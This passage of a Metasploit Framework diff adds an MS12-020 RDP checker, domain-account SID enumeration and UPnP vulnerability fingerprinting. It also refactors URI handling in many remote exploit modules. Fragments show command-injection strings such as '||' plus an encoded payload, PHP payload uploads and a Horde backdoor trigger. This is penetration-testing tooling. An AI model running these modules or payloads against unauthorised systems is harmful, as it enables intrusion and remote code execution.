Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'MS12-020 Microsoft Remote Desktop Checker', + 'Description' => %q{ + This module checks a range of hosts for the MS12-020 vulnerability. + This does not cause a DoS on the target. + }, + 'References' => + [ + [ 'CVE', '2012-0002' ], + [ 'MSB', 'MS12-020' ], + [ 'URL', 'http://technet.microsoft.com/en-us/security/bulletin/ms12-020' ], + [ 'EDB', '18606' ], + [ 'URL', 'https://svn.nmap.org/nmap/scripts/rdp-vuln-ms12-020.nse' ] + ], + 'Author' => + [ + 'Royce Davis @R3dy_ ', + 'Brandon McCann @zeknox ' + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + OptInt.new('RPORT', [ true, 'Remote port running RDP', '3389' ]) + ], self.class) + end + + def check_rdp + # code to check if RDP is open or not + vprint_status("#{peer} Verifying RDP protocol...") + + # send connection + sock.put(connection_request) + + # read packet to see if its rdp + res = sock.get_once(-1, 5) + + # return true if this matches our vulnerable response + ( res and res == "\x03\x00\x00\x0b\x06\xd0\x00\x00\x12\x34\x00" ) + end + + def report_goods + report_vuln( + :host => rhost, + :port => rport, + :proto => 'tcp', + :name => self.name, + :info => 'Response indicates a missing patch', + :refs => self.references + ) + end + + def connection_request + "\x03\x00" + # TPKT Header version 03, reserved 0 + "\x00\x0b" + # Length + "\x06" + # X.224 Data TPDU length + "\xe0" + # X.224 Type (Connection request) + "\x00\x00" + # dst reference + "\x00\x00" + # src reference + "\x00" # class and options + end + + def connect_initial + "\x03\x00\x00\x65" + # TPKT Header + "\x02\xf0\x80" + # Data TPDU, EOT + "\x7f\x65\x5b" + # Connect-Initial + "\x04\x01\x01" + # callingDomainSelector + "\x04\x01\x01" + # callingDomainSelector + "\x01\x01\xff" + # upwardFlag + "\x30\x19" + # targetParams + size + "\x02\x01\x22" + # maxChannelIds + "\x02\x01\x20" + # maxUserIds + "\x02\x01\x00" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x02\xff\xff" + # maxMCSPDUSize + "\x02\x01\x02" + # protocolVersion + "\x30\x18" + # minParams + size + "\x02\x01\x01" + # maxChannelIds + "\x02\x01\x01" + # maxUserIds + "\x02\x01\x01" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x01\xff" + # maxMCSPDUSize + "\x02\x01\x02" + # protocolVersion + "\x30\x19" + # maxParams + size + "\x02\x01\xff" + # maxChannelIds + "\x02\x01\xff" + # maxUserIds + "\x02\x01\xff" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x02\xff\xff" + # maxMCSPDUSize + "\x02\x01\x02" + # protocolVersion + "\x04\x00" # userData + end + + def user_request + "\x03\x00" + # header + "\x00\x08" + # length + "\x02\xf0\x80" + # X.224 Data TPDU (2 bytes: 0xf0 = Data TPDU, 0x80 = EOT, end of transmission) + "\x28" # PER encoded PDU contents + end + + def channel_request_one + "\x03\x00\x00\x0c" + + "\x02\xf0\x80\x38" + + "\x00\x01\x03\xeb" + end + + def channel_request_two + "\x03\x00\x00\x0c" + + "\x02\xf0\x80\x38" + + "\x00\x02\x03\xeb" + end + + def peer + "#{rhost}:#{rport}" + end + + def run_host(ip) + + connect + + # check if rdp is open + if not check_rdp + disconnect + return + end + + # send connectInitial + sock.put(connect_initial) + + # send userRequest + sock.put(user_request) + res = sock.get_once(-1, 5) + + # send 2nd userRequest + sock.put(user_request) + res = sock.get_once(-1, 5) + + # send channel request one + sock.put(channel_request_one) + res = sock.get_once(-1, 5) + + if res and res[8,2] == "\x3e\x00" + # send ChannelRequestTwo - prevent BSoD + sock.put(channel_request_two) + + print_good("#{peer} Vulnerable to MS12-020") + report_goods + else + vprint_status("#{peer} Not Vulnerable") + end + + disconnect() + end + +end diff --git a/modules/auxiliary/scanner/smb/smb_lookupsid.rb b/modules/auxiliary/scanner/smb/smb_lookupsid.rb index 8ffe83a4bb..346f6f04ac 100644 --- a/modules/auxiliary/scanner/smb/smb_lookupsid.rb +++ b/modules/auxiliary/scanner/smb/smb_lookupsid.rb @@ -24,12 +24,21 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'SMB Local User Enumeration (LookupSid)', - 'Description' => 'Determine what local users exist via brute force SID lookups', + 'Description' => 'Determine what users exist via brute force SID lookups. + This module can enumerate both local and domain accounts by setting + ACTION to either LOCAL or DOMAIN', 'Author' => 'hdm', 'License' => MSF_LICENSE, - 'DefaultOptions' => { - 'DCERPC::fake_bind_multi' => false - } + 'DefaultOptions' => + { + 'DCERPC::fake_bind_multi' => false + }, + 'Actions' => + [ + ['LOCAL', { 'Description' => 'Enumerate local accounts' } ], + ['DOMAIN', { 'Description' => 'Enumerate domain accounts' } ] + ], + 'DefaultAction' => 'LOCAL' ) register_options( @@ -206,6 +215,8 @@ class Metasploit3 < Msf::Auxiliary :groups => {} } + target_sid = host_sid if action.name =~ /LOCAL/i + target_sid = domain_sid if action.name =~ /DOMAIN/i # Brute force through a common RID range 500.upto(datastore['MaxRID'].to_i) do |rid| @@ -216,7 +227,7 @@ class Metasploit3 < Msf::Auxiliary NDR.long(1) + NDR.long(rand(0x10000000)) + NDR.long(5) + - smb_pack_sid(host_sid) + + smb_pack_sid(target_sid) + NDR.long(rid) + NDR.long(0) + NDR.long(0) + diff --git a/modules/auxiliary/scanner/upnp/ssdp_msearch.rb b/modules/auxiliary/scanner/upnp/ssdp_msearch.rb index aeb199f733..4899016978 100644 --- a/modules/auxiliary/scanner/upnp/ssdp_msearch.rb +++ b/modules/auxiliary/scanner/upnp/ssdp_msearch.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'UPnP SSDP M-SEARCH Information Discovery', 'Description' => 'Discover information from UPnP-enabled systems', - 'Author' => 'todb', + 'Author' => [ 'todb', 'hdm'], # Original scanner module and vuln info reporter, respectively 'License' => MSF_LICENSE ) @@ -26,6 +26,10 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end + def rport + datastore['RPORT'] + end + def setup super @msearch_probe = @@ -34,7 +38,7 @@ class Metasploit3 < Msf::Auxiliary "ST:upnp:rootdevice\r\n" + "Man:\"ssdp:discover\"\r\n" + "MX:3\r\n" + - "\r\n\r\n" # Non-standard, but helps + "\r\n" end def scanner_prescan(batch) @@ -43,10 +47,13 @@ class Metasploit3 < Msf::Auxiliary end def scan_host(ip) + vprint_status "#{ip}:#{rport} - SSDP - sending M-SEARCH probe" scanner_send(@msearch_probe, ip, datastore['RPORT']) end def scanner_postscan(batch) + print_status "No SSDP endpoints found." if @results.empty? + @results.each_pair do |skey,res| sinfo = res[:service] next unless sinfo @@ -60,9 +67,57 @@ class Metasploit3 < Msf::Auxiliary desc = bits.join(" | ") sinfo[:info] = desc - print_status("#{skey} SSDP #{desc}") + res[:vulns] = [] + + if res[:info][:server].to_s =~ /MiniUPnPd\/1\.0([\.\,\-\~\s]|$)/mi + res[:vulns] << { + :name => "MiniUPnPd ProcessSSDPRequest() Out of Bounds Memory Access Denial of Service", + :refs => [ 'CVE-2013-0229' ] + } + end + + if res[:info][:server].to_s =~ /MiniUPnPd\/1\.[0-3]([\.\,\-\~\s]|$)/mi + res[:vulns] << { + :name => "MiniUPnPd ExecuteSoapAction memcpy() Remote Code Execution", + :refs => [ 'CVE-2013-0230' ], + :port => res[:info][:ssdp_port] || 80, + :proto => 'tcp' + } + end + + if res[:info][:server].to_s =~ /Intel SDK for UPnP devices.*|Portable SDK for UPnP devices(\/?\s*$|\/1\.([0-5]\..*|8\.0.*|(6\.[0-9]|6\.1[0-7])([\.\,\-\~\s]|$)))/mi + res[:vulns] << { + :name => "Portable SDK for UPnP Devices unique_service_name() Remote Code Execution", + :refs => [ 'CVE-2012-5958', 'CVE-2012-5959' ] + } + end + + if res[:vulns].length > 0 + vrefs = [] + res[:vulns].each do |v| + v[:refs].each do |r| + vrefs << r + end + end + + print_good("#{skey} SSDP #{desc} | vulns:#{res[:vulns].count} (#{vrefs.join(", ")})") + else + print_status("#{skey} SSDP #{desc}") + end + report_service( sinfo ) + res[:vulns].each do |v| + report_vuln( + :host => sinfo[:host], + :port => v[:port] || sinfo[:port], + :proto => v[:proto] || 'udp', + :name => v[:name], + :info => res[:info][:server], + :refs => v[:refs] + ) + end + if res[:info][:ssdp_host] report_service( :host => res[:info][:ssdp_host], @@ -89,14 +144,14 @@ class Metasploit3 < Msf::Auxiliary } } - if data =~ /^Server:[\s]*(.*)/i + if data =~ /^Server:[\s]*(.*)/mi @results[skey][:info][:server] = $1.strip end ssdp_host = nil ssdp_port = 80 location_string = '' - if data =~ /^Location:[\s]*(.*)/i + if data =~ /^Location:[\s]*(.*)/mi location_string = $1 @results[skey][:info][:location] = $1.strip if location_string[/(https?):\x2f\x2f([^\x5c\x2f]+)/] @@ -113,7 +168,7 @@ class Metasploit3 < Msf::Auxiliary end end - if data =~ /^USN:[\s]*(.*)/i + if data =~ /^USN:[\s]*(.*)/mi @results[skey][:info][:usn] = $1.strip end diff --git a/modules/exploits/linux/http/dolibarr_cmd_exec.rb b/modules/exploits/linux/http/dolibarr_cmd_exec.rb index a2547640a1..d295430baa 100644 --- a/modules/exploits/linux/http/dolibarr_cmd_exec.rb +++ b/modules/exploits/linux/http/dolibarr_cmd_exec.rb @@ -61,6 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote def check uri = normalize_uri(target_uri.path) + uri << '/' if uri[-1,1] != '/' res = send_request_raw({ 'method' => 'GET', 'uri' => uri @@ -114,7 +115,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - @uri = normalize_uri(target_uri) + @uri = target_uri @uri.path << "/" if @uri.path[-1, 1] != "/" peer = "#{rhost}:#{rport}" @@ -140,7 +141,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Sending malicious request...") res = send_request_cgi({ 'method' => 'POST', - 'uri' => @uri.path + "admin/tools/export.php", + 'uri' => normalize_uri(@uri.path, "admin/tools/export.php"), 'cookie' => sid, 'vars_post' => { 'token' => token, diff --git a/modules/exploits/linux/http/symantec_web_gateway_exec.rb b/modules/exploits/linux/http/symantec_web_gateway_exec.rb index cd1b6859c8..10a211bc13 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_exec.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_exec.rb @@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @@ -80,7 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Sending Command injection") res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}spywall/ipchange.php", + 'uri' => normalize_uri(uri, 'spywall/ipchange.php'), 'data' => post_data }) diff --git a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb index 58b8c6e90f..6a17584b58 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb @@ -80,7 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @@ -97,7 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Sending PHP payload (#{payload_name})") res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}spywall/blocked_file.php", + 'uri' => normalize_uri(uri, "spywall/blocked_file.php"), 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'data' => post_data.to_s }) diff --git a/modules/exploits/linux/http/vcms_upload.rb b/modules/exploits/linux/http/vcms_upload.rb index c04ea190f5..8ed47f8b1b 100644 --- a/modules/exploits/linux/http/vcms_upload.rb +++ b/modules/exploits/linux/http/vcms_upload.rb @@ -63,6 +63,7 @@ class Metasploit3 < Msf::Exploit::Remote def check uri = normalize_uri(target_uri.path) + uri << '/' if uri[-1,1] != '/' res = send_request_raw({ 'uri' => uri, 'method' => 'GET' @@ -78,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit peer = "#{rhost}:#{rport}" - base = normalize_uri(target_uri.path) + base = target_uri.path base << '/' if base[-1,1] != '/' @payload_name = "#{rand_text_alpha(5)}.php" @@ -93,7 +94,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} Uploading payload: #{@payload_name}") res = send_request_cgi({ - 'uri' => "#{base}includes/inline_image_upload.php", + 'uri' => normalize_uri(base, 'includes/inline_image_upload.php'), 'method' => 'POST', 'ctype' => 'multipart/form-data; boundary=----x', 'data' => post_data diff --git a/modules/exploits/linux/http/webcalendar_settings_exec.rb b/modules/exploits/linux/http/webcalendar_settings_exec.rb index 4bc1f62b3a..7e0086bc12 100644 --- a/modules/exploits/linux/http/webcalendar_settings_exec.rb +++ b/modules/exploits/linux/http/webcalendar_settings_exec.rb @@ -73,8 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit peer = "#{rhost}:#{rport}" - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1, 1] != '/' + uri = target_uri.path print_status("#{peer} - Housing php payload...") @@ -86,7 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote post_data << "\n"*2 send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}install/index.php", + 'uri' => normalize_uri(uri, 'install/index.php'), 'data' => post_data }) @@ -95,7 +94,7 @@ class Metasploit3 < Msf::Exploit::Remote # Execute our payload send_request_raw({ 'method' => 'GET', - 'uri' => "#{uri}includes/settings.php", + 'uri' => normalize_uri(uri, 'includes/settings.php'), 'headers' => { 'Cmd' => Rex::Text.encode_base64(payload.encoded) } diff --git a/modules/exploits/linux/http/webid_converter.rb b/modules/exploits/linux/http/webid_converter.rb index 4c7fd85800..e0c28f0139 100644 --- a/modules/exploits/linux/http/webid_converter.rb +++ b/modules/exploits/linux/http/webid_converter.rb @@ -55,12 +55,12 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET', - 'uri' => uri + "docs/changes.txt" + 'uri' => normalize_uri(uri, "docs/changes.txt") }) if res and res.code == 200 and res.body =~ /1\.0\.2 \- 17\/01\/11/ @@ -122,7 +122,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @@ -131,7 +131,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Injecting the PHP payload") response = send_request_cgi({ - 'uri' => uri + "converter.php", + 'uri' => normalize_uri(uri, "converter.php"), 'method' => "POST", 'vars_post' => { "action" => "convert", @@ -149,7 +149,7 @@ class Metasploit3 < Msf::Exploit::Remote timeout = 0.01 response = send_request_cgi({ - 'uri' => uri + "includes/currencies.php", + 'uri' => normalize_uri(uri, "includes/currencies.php"), 'method' => "GET", 'headers' => { 'Connection' => "close", diff --git a/modules/exploits/multi/handler.rb b/modules/exploits/multi/handler.rb index bf541b1d47..7996ad52ef 100644 --- a/modules/exploits/multi/handler.rb +++ b/modules/exploits/multi/handler.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => '', 'DisableNops' => true, }, - 'Platform' => [ 'win', 'linux', 'solaris', 'unix', 'osx', 'bsd', 'php', 'java' ], + 'Platform' => [ 'win', 'linux', 'solaris', 'unix', 'osx', 'bsd', 'php', 'java','ruby','js','python' ], 'Arch' => ARCH_ALL, 'Targets' => [ [ 'Wildcard Target', { } ] ], 'DefaultTarget' => 0 diff --git a/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb b/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb index 0895037634..404bf9f31d 100644 --- a/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb +++ b/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb @@ -57,13 +57,13 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1,1] != '/' clue = Rex::Text::rand_text_alpha(rand(5) + 5) res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}plugins/access.ssh/checkInstall.php", + 'uri' => normalize_uri(uri, 'plugins/access.ssh/checkInstall.php'), 'vars_get' => { 'destServer' => "||echo #{clue}" } @@ -79,13 +79,12 @@ class Metasploit3 < Msf::Exploit::Remote def exploit peer = "#{rhost}:#{rport}" - uri = normalize_uri(target_uri.path) - uri << '/' if target_uri.path[-1,1] != '/' + uri = target_uri.path # Trigger the command execution bug res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}plugins/access.ssh/checkInstall.php", + 'uri' => normalize_uri(uri, "plugins/access.ssh/checkInstall.php"), 'vars_get' => { 'destServer' => "||#{payload.encoded}" diff --git a/modules/exploits/multi/http/apprain_upload_exec.rb b/modules/exploits/multi/http/apprain_upload_exec.rb index 06e6fdc6a0..fc485ebc44 100644 --- a/modules/exploits/multi/http/apprain_upload_exec.rb +++ b/modules/exploits/multi/http/apprain_upload_exec.rb @@ -59,12 +59,12 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}addons/uploadify/uploadify.php" + 'uri' => normalize_uri(uri, 'addons/uploadify/uploadify.php') }) if res and res.code == 200 and res.body.empty? @@ -75,8 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1,1] != '/' + uri = target_uri.path peer = "#{rhost}:#{rport}" payload_name = Rex::Text.rand_text_alpha(rand(10) + 5) + '.php' @@ -91,7 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Sending PHP payload (#{payload_name})") res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}addons/uploadify/uploadify.php", + 'uri' => normalize_uri(uri, "addons/uploadify/uploadify.php"), 'ctype' => 'multipart/form-data; boundary=o0oOo0o', 'data' => post_data }) @@ -107,7 +106,7 @@ class Metasploit3 < Msf::Exploit::Remote # Execute our payload res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}addons/uploadify/uploads/#{payload_name}" + 'uri' => normalize_uri(uri, "addons/uploadify/uploads/#{payload_name}") }) # If we don't get a 200 when we request our malicious payload, we suspect diff --git a/modules/exploits/multi/http/auxilium_upload_exec.rb b/modules/exploits/multi/http/auxilium_upload_exec.rb index 2a314cb411..cb0147c8c4 100644 --- a/modules/exploits/multi/http/auxilium_upload_exec.rb +++ b/modules/exploits/multi/http/auxilium_upload_exec.rb @@ -56,11 +56,12 @@ class Metasploit3 < Msf::Exploit::Remote def check - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1,1] != '/' + uri = target_uri.path base = File.dirname("#{uri}.") - res = send_request_raw({'uri'=>"#{base}/admin/sitebanners/upload_banners.php"}) + res = send_request_raw({ + 'uri' => normalize_uri("#{base}/admin/sitebanners/upload_banners.php") + }) if res and res.body =~ /\Pet Rate Admin \- Banner Manager\<\/title\>/ return Exploit::CheckCode::Appears else @@ -83,7 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{@peer} - Uploading payload (#{p.length.to_s} bytes)...") res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{base}/admin/sitebanners/upload_banners.php", + 'uri' => normalize_uri("#{base}/admin/sitebanners/upload_banners.php"), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data, }) @@ -94,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote end print_status("#{@peer} - Requesting '#{php_fname}'...") - res = send_request_raw({'uri'=>"#{base}/banners/#{php_fname}"}) + res = send_request_raw({'uri'=>normalize_uri("#{base}/banners/#{php_fname}")}) if res and res.code == 404 print_error("#{@peer} - Upload unsuccessful: #{res.code.to_s}") return diff --git a/modules/exploits/multi/http/axis2_deployer.rb b/modules/exploits/multi/http/axis2_deployer.rb index f9060db244..565d73a293 100644 --- a/modules/exploits/multi/http/axis2_deployer.rb +++ b/modules/exploits/multi/http/axis2_deployer.rb @@ -267,7 +267,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi( { 'method' => 'POST', - 'uri' => "#{rpath}/axis2-admin/login", + 'uri' => normalize_uri(rpath, '/axis2-admin/login'), 'ctype' => 'application/x-www-form-urlencoded', 'data' => "userName=#{user}&password=#{pass}&submit=+Login+", }, 25) @@ -303,7 +303,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi( { 'method' => 'POST', - 'uri' => "#{rpath}/axis2-admin/login", + 'uri' => normalize_uri(rpath, '/axis2-admin/login'), 'ctype' => 'application/x-www-form-urlencoded', 'data' => "userName=#{user}&password=#{pass}&submit=+Login+", }, 25) diff --git a/modules/exploits/multi/http/cuteflow_upload_exec.rb b/modules/exploits/multi/http/cuteflow_upload_exec.rb index 40dfc9a09b..2f413cec6b 100644 --- a/modules/exploits/multi/http/cuteflow_upload_exec.rb +++ b/modules/exploits/multi/http/cuteflow_upload_exec.rb @@ -62,7 +62,7 @@ class Metasploit3 < Msf::Exploit::Remote base << '/' if base[-1, 1] != '/' res = send_request_raw({ 'method' => 'GET', - 'uri' => "#{base}" + 'uri' => base }) if res.body =~ /\Version 2\.11\.2\<\/strong\>\/ @@ -90,7 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote # upload res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{base}pages/restart_circulation_values_write.php", + 'uri' => normalize_uri(base, "pages/restart_circulation_values_write.php"), 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => data_post, }) @@ -117,7 +117,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{@peer} - Retrieving file: #{fname}") send_request_raw({ 'method' => 'GET', - 'uri' => "#{base}upload/___1/#{fname}" + 'uri' => normalize_uri(base, "upload/___1/#{fname}") }) handler diff --git a/modules/exploits/multi/http/horde_href_backdoor.rb b/modules/exploits/multi/http/horde_href_backdoor.rb index 0c36c206c2..e5df62a1a8 100644 --- a/modules/exploits/multi/http/horde_href_backdoor.rb +++ b/modules/exploits/multi/http/horde_href_backdoor.rb @@ -59,14 +59,14 @@ class Metasploit3 < Msf::Exploit::Remote def exploit # Make sure the URI begins with a slash - uri = normalize_uri(datastore['URI']) + uri = datastore['URI'] function = "passthru" key = Rex::Text.rand_text_alpha(6) arguments = "echo #{key}`"+payload.raw+"`#{key}" res = send_request_cgi({ - 'uri' => uri + "/services/javascript.php", + 'uri' => normalize_uri(uri, "/services/javascript.php"), 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'data' => "app="+datastore['APP']+"&file=open_calendar.js", diff --git a/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb b/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb index f196e48619..4b34db4010 100644 --- a/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb +++ b/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb @@ -101,7 +101,7 @@ class Metasploit3 < Msf::Exploit::Remote # Generate an initial JSESSIONID print_status("#{@peer} - Retrieving an initial JSESSIONID") res = send_request_cgi( - 'uri' => "#{@uri}servlet/Main", + 'uri' => normalize_uri(@uri, 'servlet/Main'), 'method' => 'POST' ) @@ -118,7 +118,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{@peer} - Authenticating on HP SiteScope Configuration") res = send_request_cgi( { - 'uri' => "#{@uri}j_security_check", + 'uri' => normalize_uri(@uri, 'j_security_check'), 'method' => 'POST', 'data' => login_data, 'ctype' => "application/x-www-form-urlencoded", @@ -264,7 +264,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{@peer} - Uploading the JSP") res = send_request_cgi( { - 'uri' => "#{@uri}upload?REMOTE_HANDLER_KEY=UploadFilesHandler&UploadFilesHandler.file.name=#{traversal}#{@jsp_name}.jsp&UploadFilesHandler.ovveride=true", + 'uri' => normalize_uri(@uri, 'upload') + "?REMOTE_HANDLER_KEY=UploadFilesHandler&UploadFilesHandler.file.name=#{traversal}#{@jsp_name}.jsp&UploadFilesHandler.ovveride=true", 'method' => 'POST', 'data' => post_data.to_s, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", @@ -285,7 +285,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Triggering payload at '#{@uri}#{@jsp_name}.jsp' ...") send_request_cgi( { - 'uri' => "#{@uri}#{@jsp_name}.jsp", + 'uri' => normalize_uri(@uri, "#{@jsp_name}.jsp"), 'method' => 'GET', 'headers' => { @@ -334,7 +334,7 @@ class Metasploit3 < Msf::Exploit::Remote data << "" + "\r\n" res = send_request_cgi({ - 'uri' => "#{@uri}services/APIPreferenceImpl", + 'uri' => normalize_uri(@uri, 'services/APIPreferenceImpl'), 'method' => 'POST', 'ctype' => 'text/xml; charset=UTF-8', 'data' => data, diff --git a/modules/exploits/multi/http/jboss_bshdeployer.rb b/modules/exploits/multi/http/jboss_bshdeployer.rb index d2ea9a7cc8..07d5eb2ada 100644 --- a/modules/exploits/multi/http/jboss_bshdeployer.rb +++ b/modules/exploits/multi/http/jboss_bshdeployer.rb @@ -391,7 +391,7 @@ EOT end def query_serverinfo - path = normalize_uri(datastore['PATH']) + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo' + path = normalize_uri(datastore['PATH'], '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo') res = send_request_raw( { 'uri' => path, @@ -449,13 +449,13 @@ EOT if (datastore['VERB']== "POST") res = send_request_cgi({ 'method' => datastore['VERB'], - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor', + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), 'data' => params }) else res = send_request_cgi({ 'method' => datastore['VERB'], - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor?' + params + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor') + "?#{params}" }, 30) end res diff --git a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb index 8808c158ff..422b8f8392 100644 --- a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb +++ b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb @@ -277,14 +277,14 @@ EOT if (datastore['VERB'] == "POST") res = send_request_cgi( { - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor', + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), 'method' => datastore['VERB'], 'data' => data }, 5) else res = send_request_cgi( { - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor?' + data, + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor') + "?#{data}", 'method' => datastore['VERB'], }, 30) end @@ -308,14 +308,14 @@ EOT if (datastore['VERB'] == "POST") res = send_request_cgi( { - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor', + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), 'method' => datastore['VERB'], 'data' => data }, 5) else res = send_request_cgi( { - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor;index.jsp?' + data, + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor;index.jsp') + "?#{data}", 'method' => datastore['VERB'], }, 30) end @@ -378,7 +378,7 @@ EOT def query_serverinfo - path = normalize_uri(datastore['PATH']) + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo' + path = normalize_uri(datastore['PATH'], '/HtmlAdaptor') + '?action=inspectMBean&name=jboss.system:type=ServerInfo' res = send_request_raw( { 'uri' => path, diff --git a/modules/exploits/multi/http/jboss_maindeployer.rb b/modules/exploits/multi/http/jboss_maindeployer.rb index db63a96cb4..7c36c1fa16 100644 --- a/modules/exploits/multi/http/jboss_maindeployer.rb +++ b/modules/exploits/multi/http/jboss_maindeployer.rb @@ -176,7 +176,7 @@ class Metasploit3 < Msf::Exploit::Remote if (datastore['VERB'] == "POST") res = send_request_cgi({ 'method' => datastore['VERB'], - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor', + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), 'vars_post' => { 'action' => 'invokeOpByName', @@ -189,7 +189,7 @@ class Metasploit3 < Msf::Exploit::Remote else res = send_request_cgi({ 'method' => datastore['VERB'], - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor', + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), 'vars_get' => { 'action' => 'invokeOpByName', @@ -275,7 +275,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Undeploying #{app_base} ...") res = send_request_cgi({ 'method' => datastore['VERB'], - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor', + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), 'vars_post' => { 'action' => 'invokeOpByName', @@ -314,7 +314,7 @@ class Metasploit3 < Msf::Exploit::Remote def query_serverinfo - path = normalize_uri(datastore['PATH']) + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo' + path = normalize_uri(datastore['PATH'], '/HtmlAdaptor') + 